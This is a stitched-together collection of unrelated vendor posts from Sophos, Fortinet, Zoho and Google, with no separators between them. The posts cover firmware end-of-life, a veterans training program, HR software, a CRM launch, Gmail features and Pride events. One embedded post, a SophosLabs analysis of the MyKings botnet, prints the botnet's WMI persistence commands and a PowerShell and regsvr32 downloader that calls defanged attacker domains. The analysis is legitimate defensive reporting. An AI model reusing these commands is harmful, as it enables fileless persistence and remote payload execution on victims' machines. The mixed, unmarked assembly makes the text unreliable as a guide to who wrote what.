With all the enhancements in XG Firewall v18, we are announcing the End-of-Life (EoL) of older firmware versions that are now two years old or more including v17.0 and v17.1. The EoL for these versions will be effective August 31, 2020. Of course, v17.5 and v18 are still fully supported.
Most of our customer base does a great job keeping their firmware up to date, but some may need a reminder or a push. The roll-out of v18 MR1 is now well underway with more and more customer systems getting the update notification in their console every day. As soon as the release hits their console, it takes just a few clicks to get all the great new benefits of XG Firewall v18. But partners and customer’s don’t need to wait, they can do a manual update anytime by getting the latest firmware from MySophos. Full details here on Sophos.com.
Here’s the details of the EoL announcement…
Which XG Firewall firmware versions are getting EOL?
v17.0 firmware except CC EAL4+ certified release (v17.0 MR10)
v17.1 firmware
What does End-of-Life mean?
End-of-Life (EoL) is the date at which Sophos will no longer be providing support, security updates, or service.
Further details about Product lifecycles can be found on the support pages at https://community.sophos.com/kb/en-us/121502.
Net Universe offers all Sophos Devices and subscritpions also consultant services with worldwide Delivery Services. Send us an email to [email protected] for more information or visit https://www.netuniversecorp.com/sophos.
CISOs are challenged with filling critical cybersecurity roles in their organizations due to the shortage of talent and cybersecurity expertise. One untapped resource that organizations looking to fill security roles should pay more attention to in their recruitment efforts is veterans. Veterans have many complementary skills that with the right training can be relevant to a career in cybersecurity. Fortinet’s Veterans Program, part of its Network Security Expert (NSE) Training Institute, focuses on helping veterans transition into a role in cybersecurity.
Q&A with a Veterans Program Graduate
Michael Beckham is a 21-year veteran of the U.S. Navy who benefited from Fortinet’s Veterans Program, FortiVet. Through the program’s cybersecurity training and other resources, he was successful in securing a career in the field. Below, he shares his experience being part of the program in an interview we recently had with him.
Can you give us a summary of your background in the military?
I served in the U.S. Navy as a Cryptologic Technician Communications Operator (CTO) for 21 years. My daily routine consisted of ensuring the successful delivery and security of critical messages and traffic, while also maintaining the highly classified equipment that delivered this information highly secure. During that time, I was fortunate to serve with some of the smartest people on the planet. We were able to witness the progression of technology from teletype and tape with blazing speeds of 1200 baud to minicomputers to routers, firewalls and common transport speeds of 100 gigabits and higher.
How did you get into the Fortinet Veterans program?
I was unemployed at the time for nearly 11 months and I was told about the Fortinet Veterans Program from a fellow veteran. I reached out to Fortinet and went through an interview process and was then accepted into the program. As a result, I had access to mentoring and to the NSE Training Institute resources.
What do you do now?
The Fortinet Veteran Program connected me to Walker and Associates, as they’re part of Fortinet’s partner ecosystem, and this is where I now work. I currently work as a Federal Field Systems Engineer responsible for advancing sales of technical products. I focus on advancing a number of technical solutions for the Federal Marketplace, to include Optical, Cybersecurity (primarily Fortinet), Network Infrastructure, Virtual and Hyper Converged Infrastructure, and TDM migration solutions.
Why do you think the program is important to help fill the talent gap in cybersecurity?
This program helps equip veterans from all branches of the services with the opportunity to fill the skills gap in the cybersecurity industry. It enables veterans like me to leverage their skill sets that are relevant to a career in cybersecurity. Employers benefit from knowing they’re hiring experienced professionals with security clearances. Veterans can also expand their cybersecurity knowledge through training and Fortinet’s Network Security Expert (NSE) Certification Program.
What would you say are the benefits to a company for hiring someone from the FortiVet program?
Companies benefit from this program by having an array of experienced, proven cybersecurity professionals who can fill the talent gap with disciplined lifelong learners willing to expand their knowledge.
Closing the Cybersecurity Skills Gap
Veterans trained in the latest cybersecurity techniques can play a key role in filling the talent shortage while adding the valuable attributes that are unique to those who have served in the armed forces. Many veterans possess the mindset, skills, and security clearances that positions in cybersecurity require. This is why training veterans and assisting them in entering a career in cybersecurity can really move the needle in narrowing the cybersecurity skills gap.
Find out more about Fortinet’s NSE Training Institute programs, including the Network Security Expert program, Network Security Academy program and FortiVet program, which provide critical cybersecurity training and education to help solve the cyber skills gap and prepare the cybersecurity workforce of tomorrow.
The role of HR professionals is becoming more and more prominent in the healthcare sector. It is crucial to manage healthcare workers well, as they are directly involved in saving lives themselves.
To improve patient care, experience, and satisfaction, healthcare firms need to concentrate on establishing an efficient HR process that caters to the needs of employees. Some of the common HR challenges faced by healthcare firms include:
Higher employee turnover rate
Need to upgrade employee skills regularly
Increased burnout among employees
Ensuring regulatory compliance
All these challenges create an undue amount of pressure on HR professionals in the healthcare sector. HR professionals can overcome these challenges easily with the right HR software. Their workload can be reduced by automating every essential HR function, from onboarding to offboarding. Here are some of the many benefits that HR software brings to the healthcare sector:
Ensures open communication among healthcare employees by allowing them to communicate through internal chat, forums, feeds, etc.
Improves learning and development by allowing course admins to create multiple e-learning courses at once. Employees can learn at their own pace.
Ensures compliance by storing all important documents online.
Eases shift schedule management by creating shifts for multiple employees at once. Notifications are sent automatically whenever there is a change in shift.
Enhances employee performance with features like 360-degree feedback, multi-rater feedback, continuous review, skill-set matrices, and nine-box models.
Provides a seamless experience for your employees by allowing them to perform all their HR functions on the go.
Read more about the benefits of HR software for the healthcare sector in our HR Knowledge Hive.
A lot of cybercriminal groups adopt themes drawn from current events to attract victims, and there’s no bigger global news story right now than the ongoing fight against the novel coronavirus or the disease it causes, COVID-19. While most attackers who reference ripped-from-the-headlines topics tend to use those lures in malicious emails or text messages, the operators of the MyKings botnet doesn’t use those types of methods to spread infections — they prefer cracking SQL servers or using the EternalBlue exploit to infect computers.
Mykings have taken a slightly different approach: They added references to our global pandemic into the source code of their malware, itself.
But that’s not the only news about this group, which we’ve covered in previous SophosLabs uncut posts. The botnet’s operators made significant changes to their infrastructure, moving almost all of the domains they use to distribute the malware (including a few new ones) so it is hosted on a single IP address. They’ve also enhanced the update mechanism with a twist, rolling into production a previously-developed but unused feature to update the C2 servers used by the bootkit components.
New domains
We noticed a new ftp drop site used by the botnet, residing on the IP address 185.26.112.217. As it turned out this server is also used to distribute some of the updated components:
The 400kB files are WinRAR SFX droppers for the c3.bat installer; the 40kB files are NSIS Dloadr packages, both detailed in our previously-released MyKings report.
Beyond the file repository, Virustotal passive DNS info revealed that many of the historically used distribution domains (and some we didn’t previously know about) were also migrated to this new host.
Revitalized update mechanism
One of the major components of the botnet is the WinRAR SFX (self extracting executable) that drops the main installer script, c3.bat. The latest updates to the botnet added a twist to this scheme, with an additional layer of packaging.
This component now is a WinRAR SFX dropper that drops another WinRAR SFX package. The top level dropper updates the bootkit configuration, while the internal layer contains config update for the cryptominer component.
These files make up the contents of the top level archive:
The ntuser.dat file contains an encrypted configuration, and the shellcode, used by the bootkit component. It expects itself to be in the WindowsTemp directory, which is exactly where the installer unpacks it.
The config file is encoded with a single-byte XOR. In its encrypted form, it looks like this:
Config file content encoded with a one-byte XOR (the key is 0x95).
The decryped content reveals the updated download server list:
The second file in the package, named upx.exe, is a WinRAR SFX dropper that contains c3.bat, the main installer component of the botnet.
This archive contains the following:
The c3.bat and n.vbs files serve the same purpose as the files by the same name we analyzed previously: n.vbs starts c3.bat which is the main installer component of the botnet.
There is an additional file to the usual content, named excludes, which contains the configuration data for the XMRig cryptocurrency miner, including the following wallet info:
This mechanism relies on the fact that some versions of the XMRig miner used by the Mykings botnet search for this “excludes” file in the %TEMP% directory (exactly where the WinRAR SFX extracts it to), and if found, uses this file as the config data.
The botnet operators try to establish a mechanism to easily update the wallet info, without replacing the miner executable itself.
EternalBlue revisited
Slight changes were made to the EternalBlue module that MyKings uses. During exploitation, the bot executes a payload script (ms17010_cmd). This usually is a downloader script, which was significantly simplified.
Another notable change is that, instead of hosting it on their own servers (of which they had a lot), the botnet operators now use a script hosted on the website img.vim-cn.com, a little-known, anonymous image hosting service. Needless to say, the criminals were not storing an image file there. Rather, they hosted the downloader component for the botnet that pulls down the next stages.
The Coronavirus connection
A closer look at the latest c3.bat file revealed that it uses references to the Corona virus in the WMI event handler names:
wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter CREATE Name="coronav", EventNameSpace="rootcimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 10800 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\rootsubscription" PATH CommandLineEventConsumer CREATE Name="coronav2", CommandLineTemplate="cmd /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString
…
cmd /c start wmic /NAMESPACE:"\rootsubscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="coronav"", Consumer="CommandLineEventConsumer.Name="coronav2""
This reference to the virus is not normally visible on infected systems and has no effect in increasing the efficiency of the botnet.
On an infected system the created filter binding can be observed:
And the event consumer code contains the familiar PowerShell downloader, using the SquiblyDoo technique, with the new download domain names (obfuscated here to prevent accidental clicks):
CommandLineTemplate=cmd /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('hxxp://ruisgood[.]ru/power.txt')||powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('hxxp://gamesoxalic[.]com/power.txt')||regsvr32 /u /s /i:hxxp://ruisgood[.]ru/s.txt scrobj.dll&regsvr32 /u /s /i:hxxp://gamesoxalic[.]com/s.txt scrobj.dll&wmic os get /FORMAT:"hxxp://ruisgood[.]ru/s.xsl"
Infection stats
The number of unique bots infected by Mykings at a given time is around 40000, which is about the same number that we observed in the autumn of 2019. Overall, the total number of infected systems this year is over 175,000, and it showed a growing trend, then a yet-unexplained drop in May.
The targeted countries show a huge change from last year. Last fall, China and Taiwan were the most infected countries. Now the major targets became overwhelmingly countries form the former Soviet Union, with Russia, Ukraine, Kazakhstan, Armenia in the top ten.
Looking at the history of infection, we observe that there were hardly any infected bots reported form China in the months of January and February, then the Chinese infection numbers started to increase in March, and by May the country regained its original position in the top three infected countries. We have no explanation for this significant regional drop.
Detections
The MyKings botnet components may be detected by Sophos endpoint security products as Troj/Agent-BAKV, Troj/Agent-BAWU, Troj/DwnLdr-XOD, Troj/DwnLdr-XHH, Troj/Miner-WR, Mal/Miner-C, VBS/Dwnldr-MDQ, or XMRig Miner (PUA).
Updated indicators of compromise can be found on the SophosLabs Github.
Net Universe offers all Sophos Devices and subscritpions also consultant services with worldwide Delivery Services. Send us an email to [email protected] for more information or visit https://www.netuniversecorp.com/sophos.
When network users expect connectivity for devices ranging from personal laptops and mobile phones to gaming systems and smart refrigerators, network administrators require a solid solution for matching each device to the appropriate user, and for confirming that the device meets organizational requirements for secure connectivity. The experience of a midsize Pennsylvania college demonstrates the value of network access control (NAC) technologies in performing both of these functions.
Gettysburg College is a liberal arts school in a location imbued with historical significance. Its 225-acre campus is adjacent to the Gettysburg National Military Park, site of the famous Civil War battlefield. Many buildings on campus are historically relevant as well, but Gettysburg College is not stuck in the past. Far from it.
The school was an early adopter of wireless networking. Two decades ago, it offered wireless bring-your-own-device (BYOD) access as a selling point to attract students. Today, campus-wide Wi-Fi is less effective as a differentiator. Still, Gettysburg College strives to provide an end-user experience that stands out from the crowd.
Managing a BYOD Wireless Network in a Tourist Town
The college’s IT team works to ensure that students, faculty, staff, and parents can securely connect appropriate devices; that individuals who should not be on the network do not gain access; and that all these processes are as automated as possible.
“Gettysburg, Pennsylvania, sees tens of thousands of visitors every year,” explains the school’s Vice President of IT, Rodney Tosten. “Our campus interweaves with downtown Gettysburg, and some major roads even cross the campus. Every device in a car passing through tries to connect into our network.”
Moreover, he says, people used to park in the college’s parking lots to access the internet via its wireless network. “That raised concerns about network security,” Tosten says. “It also had implications for campus safety. We worried that free internet might be attracting people who were not necessarily healthy to have hanging around our campus.”
Finally, IT staff worried about bandwidth. “Being in a tourist town, we knew that having a wide-open network could eventually mean so many people connecting that our internet throughput would fall to pieces for the students, faculty, and staff who needed it,” Tosten says.
Leveraging FortiNAC to Implement Access Policies That Are Both Effective and Efficient
Gettysburg College has long understood these challenges. Eighteen years ago, it deployed the FortiNAC* solution. Thanks to this software, any attempt to connect a computer, tablet, or smartphone to the school’s Wi-Fi network brings up a registration page. Users who have network login credentials enter them on the registration page. The FortiNAC system confirms their identity and scans each endpoint to verify that its operating system and security software are up to date. “We will not grant people access unless the FortiNAC solution verifies that their system is updated and has antivirus protection,” Tosten says. “That ensures only secure devices connect to our network.”
Parents and visiting faculty can connect, but their access is time-limited. The FortiNAC solution maintains an inventory of their accounts. Individuals whose allocated time window has expired will no longer be allowed access. The solution also automatically removes access permissions for any device that has not connected to the network for a period of time.
“Our Wi-Fi network has more than 1,000 access points,” Tosten says. “We have 55,000 devices attempting to connect on an average day, and only about 6,500 of them should actually get in. That is a lot to manage, and two staff members are responsible for all related connectivity issues. The automation in the Fortinet solution, its scanning of devices attempting to enter the network, and its ongoing management of network inventory make it possible for such a small staff to manage our Wi-Fi.”
Allowing Only the Right Things on the Internet with FortiNAC
When students want to connect an Internet of Things (IoT) device, they must complete a manual request. The IT group routinely tests such devices to discover which work well on the network and which do not. They feed this information into the FortiNAC system.
“We test smart speakers, gaming consoles, and all the other gizmos we expect people to try to connect,” Tosten reports. “We want to make sure the devices we allow in will not consume all our bandwidth or overload our access points. If someone tries to connect a device that we do not allow, FortiNAC does not give it access.”
This approach further improves staff productivity. “It lets us have a conversation up front, rather than bogging down our helpdesk staff trying to support devices that are not going to work,” he adds. “Without a product like FortiNAC, we would not know which devices would have challenges, and figuring out connectivity problems for each individual device would be a much longer conversation.”
Acknowledging the significant improvements in staff efficiency, Tosten emphasizes that the primary benefits of the NAC system accrue to end users. “We have been using the FortiNAC solution for 18 years,” he reiterates. “Throughout that time, it has provided great security for our campus network. Without this product, Wi-Fi access would be like the Wild West. Instead, the FortiNAC system helps us make sure that everyone who is supposed to be on our Wi-Fi can connect, with healthy devices and adequate bandwidth, so that all our end users have a quality experience.”
* In 2018, Fortinet acquired Bradford Networks and their NAC solution which was rebranded as FortiNAC.
Discover how Network Access Control solution (FortiNAC) provides organizations with the ability to see and control all the devices and users connected to the network.
June has been extremely productive for all of us here at Zoho People. Our product developers have come up with some amazing updates to provide a more seamless user experience to our customers, and we’re very excited to announce them.
These updates are also aimed at making HR management easier and more effective for your organization. Here’s what’s new from June:
During public health situations like COVID-19, it’s essential to stay on top of the health status of your employees to support them through the crisis. This can also be useful when they have to return to work. With our new employee health status form, you can collect important information in an organized manner, avoiding errors and confusion. Once you enable the form, a short survey will be added to the employee dashboard through which they can submit theirs and their family’s health status. Learn more about this feature here.
HR reps often have to juggle a variety of forms that have to be sent out to employees to collect vital compliance information. To make this process easier, we have consolidated some of the essential compliance forms like W9, W4, and I9 under the HR Forms and Templates category. You can share it with your employees to gather the necessary information. Company handbook templates, which can be customized according to your organization, have been added, too. Click here to take advantage of this new feature.
We can now help you lay out your organization’s hierarchy in a better way. The terminology used to denote the different levels of your organization’s structure may vary according to the location. With our new update, you can rename the different levels of your organization structure so that your employees are familiar with the terminology. Find out how to rename the levels here.
With our new Streams feature, you can organize all the related designations in your organization under a single name. You can also group employees who perform jobs of a similar nature under a single stream. Once this is enabled, the stream that an employee belongs to will be displayed in their self-service page. Learn more about the streams feature here.
Our new Batch Scheduler feature in the Learning Management System (LMS) eliminates the need to create every batch manually when a course is conducted in multiple batches. Once you schedule multiple batches at regular intervals (monthly/weekly/yearly), each one will be created automatically before the specified date. You can also clone the existing batch’s configuration to a new batch. Learn how to schedule multiple batches here.
Our new Shift Admin feature is aimed at making the shift scheduling process as simple as possible. In organizations that have a large workforce, one single person can’t handle scheduling the shifts of dozens of employees. That’s why we’ve introduced this useful feature that allows you to assign a Shift Administrator to any group of employees, which are called shift groups. The Shift Administrator can configure the shift for any employee within the shift group. Any employees within your organization, regardless of their hierarchical status, can be selected as shift admin. Learn how to assign a Shift Administrator here.
This set of improvements has been introduced exclusively to transform and strengthen the core HR functions of your organization. Give them a try, and let us know what you think. Have questions? Write to us at [email protected].
Spreadsheets are often the first love of many companies. What’s not to love about them? Many spreadsheet applications are free. They’re familiar and simple enough to work with.
For micro and small businesses that are just starting, or are perpetually in the start-up phase, spreadsheets can be a no-brainer choice. Need to store contact information? Open a sheet. Need to track a deal? Open another sheet. Most fundamental business operations can be done on spreadsheets. That is until it starts becoming too much. In the US, about 50 percent of small business ventures fail in the first four years, because the owners are faced with many challenges that make it difficult to continue operations.
Look, spreadsheets are great for simple bookkeeping, for storing tabular data, and performing statistical operations. But, you don’t peel a carrot with a pair of pliers or paint the walls with a toothbrush, for the same reason you don’t run your entire business on spreadsheets. It’s inefficient and needlessly complicated. More importantly, there are specific tools available in the market that get the job done.
Customer Relationship Management (CRM) is software that serves to help businesses manage their sales pipelines, store contact info, engage with prospects, track deals, and streamline activities. It is indisputably an upgrade from spreadsheet sales and customer management. On paper, CRMs are supposed to help businesses of all sizes, but vendors have infamously ignored small businesses for a long time now.
Small business CRM–a fallacy?
There are over 600 CRM software solutions in the market, yet about 18% to 69% of CRM projects fail. For a market that’s so crowded, a failure rate like that raises a few questions. Every vendor is in a race to bring out new features, add integrations, and publish more content to show off how powerful and advanced their software is. But what is the point, when the software doesn’t meet a customer’s basic needs?
Small businesses end up getting the worst treatment in all of this. Imagine if a pizza kitchen took their 18-inch pizza, made a six-inch hole in the middle, and sold it as a small pizza. That’s the current state of choices that small businesses have when it comes to CRM software. Because what vendors do is strip a bunch of features from their flagship edition, slap a label like “Starter” or “Essentials” on top of it, and list it for sale as a small business edition. No thought put into the customers’ requirements, no science behind the features added.
And the result? Small businesses end up having to settle for the scraps. They find the user interface hard to understand, and the features to either be very limited or useless, due to lack of forethought from the vendor. They’re turned away by the complexity of the software since it’s been made without consideration for their needs. They eventually realize that they’re paying a lot for something that’s more of a burden and less of a help in the long run.
Eventually, small businesses move back to spreadsheets once the contract is over because at least it doesn’t bleed them dry. Some are still stuck with their CRMs because there’s just no better alternative. Once you recognize the potential of CRM, it’s hard to give up and go back. But now, you’re trapped with a solution that’s both cumbersome and indispensable—sort of a love-hate relationship. That’s what happens when a vendor’s goal is to compete in the low-end market with no sincere interest or clear planning.
We at Zoho CRM understood the dire situation that small businesses are forced into, and the lack of a definitive CRM that meets the standards of the market. We’ve launched a brand-new CRM exclusively for micro and small businesses, with features and interfaces that expressly address their requirements and pain points. That’s how Bigin came to be our new standalone product.
Bigin is not a downsized version of Zoho CRM. It’s not cut from the same cloth per se, but it’s made by the same tailor. Our decades of experience in the customer relationship management solutions market were put to use to create the ultimate small business CRM that delivers on three critical promises: ease of use, the right feature set, and affordable pricing.
1) Bigin is a breeze to use. A simple, no-nonsense experience.
One of the biggest pain points for small businesses with CRM is the user experience. Not just the software interface, but the experience. And they both go hand in hand.
User interface (UI) is the leather seat, the dashboard, and the steering wheel of a car. User experience (UX) is the resulting feeling you get when you drive the car. As you can tell, a bad user interface leads to a bad experience. So, maybe the software is robust, has unique features, and provides a lot of value. But, it amounts to nothing if customers have a hard time using it. And business software is infamous for that. Small businesses find CRM software to be complex, hard to navigate, and rigid. There’s a lot going on to understand, and it often requires extensive training for salespeople to get on board.
However, Bigin is a beautiful product, period. That’s not an overstatement. Bigin was built from scratch with the idea of providing the best in class user experience in mind. It’s not just about having the right fields and boxes, it’s also about how it’s arranged and showcased. Bigin’s clean, intuitive interface feels great to use. It has smooth navigation, it’s easy to locate features and information, and it does not require a week-long training to get used to! You can set up and bigin in under thirty minutes. It’s that simple.
2) Bigin has all the best small business features.
Part of what makes Bigin’s user experience so great is the lack of complexity. Here’s the situation–about 80% of features in a typical cloud software product are rarely or never used. Low usage doesn’t mean that it has a low value. There are plenty of critical features that are not used often. Just because the fire alarm in your house is barely used, doesn’t mean it should be removed. But not all features are fire alarms, some can just take up space in your workflow.
This becomes a problem when vendors don’t understand that catering to micro and small businesses is a whole other ballpark. This is why small businesses often find CRMs to be bloated with features that don’t serve them. Let’s face it, most big vendors are not going to stop adding new features to their CRM. There’s a race to create the most advanced, cutting edge CRM in the market, and Zoho CRM is one of the front-runners.
We believe it’d be unfair to leave our small business users in the dark the way that other vendors have. After our meticulous research to understand what small businesses need, what their day to day operations and problems look like, we came to understand what their ideal CRM might look like. That’s why we created Bigin, a CRM that has the right set features that small businesses will greatly benefit from.
There are no bogus feature limitations, no complex features that are unnecessary, and no bloatware that takes up space. Nothing but the essentials—clean and compact. Here’s the full feature list for reference.
While Zoho CRM may be your destination, Bigin is a great place to start your journey.
3) Affordable pricing, no hidden costs.
Bigin is the most affordable CRM solution for small businesses, starting at $7 USD per user. That’s right! Bigin offers the best value for money among any CRM in this price tier. Your sales operations can move out of spreadsheets and continue on a robust small business CRM that’s rich in features, integrates with several applications including the Zoho ecosystem, and provides a refreshingly simple and smooth user experience.
Zoho’s pricing policies are etched in stone, and Bigin follows suit. There are no contracts here—you can cancel your subscription anytime, or upgrade at a moment’s notice. Budgeting can make or break small businesses, and we’re wary of that. You’ll get a refund for your remaining months, and there’s no complicated process.
There are no hidden costs. Once you’re on board, you’ll have unrestricted access to all the features promised on the pricing page. Nothing is locked behind a secret paywall, no separate payments for specific features or integrations. For $7 USD, you get all of Bigin.
Let’s Bigin!
This one’s for all the micro and small businesses, self-employed professionals, and freelancers—you deserve a better CRM. It doesn’t matter how you began, whether it’s bound books, spreadsheets, or a clunky mess of a CRM. It’s never too late to begin again.
Sign up now for a 14-day free trial of Bigin, with no credit card needed! We’ve made it incredibly easy to migrate data from the dozens of spreadsheets you’re currently using. As promised, your business can begin your sales operations and get on board in under thirty minutes! Bigin also has a smartphone app to help make your job easier.
Join the #BiginnersClub today and experience the difference in sales productivity, and the quality of work done. We’re excited to watch your business grow with Bigin, and we know it will. With luck, the day will come when your business outgrows a “small business” CRM. When you’re ready to upgrade, you can seamlessly move your operations and data to Zoho CRM, the world’s favorite CRM!
Bigin, built for small businesses with big dreams. Try now!
“Many SMBs rely heavily on spreadsheets to run their business. And, while spreadsheets are great for managing numbers, they aren’t great at managing relationships with customers. Which is why using a service like Bigin—built specifically to help very small businesses find, catch and keep customers—can improve the likelihood of creating great customer relationships.”
Brent Leary – CRM industry analyst & Partner, CRM Essentials
You can start using these new updates in Gmail on the web today, with some features appearing within the coming weeks. Go to Settings (the cog wheel in the top right corner of your inbox) and select “Try the new Gmail.” If you want to switch back later down the road, you can go to the same place and select “Go back to classic Gmail.” This handy product guide can help you get started.
If you’re interested in learning more about how you can use Gmail in the workplace, check out our G Suite post which has more detail on all of the ways Gmail can help you stay productive.
Email makes it easy to share information with just about anyone—friends, colleagues and family—but drafting a message can take some time. Last year, we introduced Smart Reply in Gmail to help you quickly reply to incoming emails. Today, we’re announcing Smart Compose, a new feature powered by artificial intelligence, to help you draft emails from scratch, faster.
Draft emails quickly with confidence
From your greeting to your closing (and common phrases in between), Smart Compose suggests complete sentences in your emails so that you can draft them with ease. Because it operates in the background, you can write an email like you normally would, and Smart Compose will offer suggestions as you type. When you see a suggestion that you like, click the “tab” button to use it.
It’s the middle of the middle month of a choppy year and I’m thinking about how we stay steady. I’m thinking about ballasts, the heavy things—weighty, substantive—employed in ships to lend balance. My ballast is my family, and I’m lucky enough to have a few. There’s the family of my blood, those mad geniuses who share my last name; the family of my friends, wild spirits exploring the limits of what’s possible; and, last but not least, the family I walked into when I came to Google.
This Pride, Google and Google’s LGBTQ+ community are celebrating families big and small, chosen or inherited, as part of #ThisIsFamily. We encourage you to post on social media about the people who make up your family (no matter how you define it) and to donate to nonprofits like PFLAG, It Gets Better and GLAAD. Google.org has pledged to match up to $100,000 in total in donations to these three organizations during the month of June.
That’s not the only way we’re celebrating Pride. In typical Google fashion, we’re helping you connect with the world around you (and having a bit of fun) across our products:
In Google Maps, this year’s parade routes are paved with rainbows.
You’ll find rainbow “easter eggs” scattered through Google Search and G Suite, and you can join the fun from your desktop by switching your Gmail to a Pride theme for the month of June.
Google Play Newsstand has a special feature page for Pride-related coverage.
On YouTube, we’re celebrating the LGBTQ+ creators who are #ProudToCreate a better future with their imagination, creativity, talent, and truth through our YouTube Spotlight Channel, Twitter, and Instagram.
We continue to help businesses declare their establishments “LGBTQ+ Friendly” or “Transgender Safe Space” on their business listings in Google Maps and Google Search.
One year on from our initial donation to the LGBT Center of New York in collaboration with the National Parks Foundation, Google.org is contributing another $500,000 (for a total of $1.5 Million) to the Center to help with the digitization of LGBTQ+ history. The project is called Stonewall Forever, and we need your help to find, preserve, and share the untold stories of LGBTQ+ history.
Google Arts & Culture has a dedicated Pride collection celebrating LGBTQ+ history, with 20 exhibits and over 2,700 artifacts, part of which comes from the Stonewall Forever project.
Ballasts, like families, help us stay steady amidst commotion. Paradoxically, maybe, these heavy things also lift us up.
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